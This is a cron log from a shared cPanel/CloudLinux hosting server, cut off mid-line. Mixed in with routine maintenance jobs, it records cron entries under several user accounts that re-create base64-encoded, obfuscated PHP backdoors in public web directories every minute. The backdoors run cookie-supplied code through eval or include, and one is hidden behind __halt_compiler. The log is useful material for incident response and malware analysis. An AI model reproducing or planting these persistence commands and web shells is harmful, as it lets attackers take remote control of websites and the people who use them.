Jun  7 09:25:01 medusa CROND[820]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 09:25:01 medusa CROND[823]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 09:25:01 medusa CROND[830]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 09:25:01 medusa CROND[834]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:25:01 medusa CROND[867]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 09:25:01 medusa CROND[896]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 09:25:01 medusa CROND[897]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 09:25:01 medusa CROND[899]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:25:01 medusa CROND[898]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 09:25:01 medusa CROND[902]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 09:25:01 medusa CROND[903]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:25:01 medusa CROND[904]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 09:25:01 medusa CROND[905]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 09:25:01 medusa CROND[906]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:25:01 medusa CROND[908]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:25:01 medusa CROND[909]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:25:01 medusa CROND[912]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:25:01 medusa CROND[915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:25:01 medusa CROND[917]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:25:01 medusa CROND[913]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 09:25:01 medusa CROND[949]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:25:01 medusa CROND[954]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:26:01 medusa CROND[2929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:26:01 medusa CROND[2930]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 09:26:01 medusa CROND[2931]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:26:01 medusa CROND[2932]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:26:01 medusa CROND[2933]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:26:01 medusa CROND[2934]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:26:01 medusa CROND[2935]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:26:01 medusa CROND[2937]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:26:01 medusa CROND[2938]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 09:26:01 medusa CROND[2941]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:26:01 medusa CROND[2942]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:26:01 medusa CROND[2947]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 09:26:01 medusa CROND[2951]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:26:01 medusa CROND[2949]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:27:01 medusa CROND[4501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:27:01 medusa CROND[4502]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC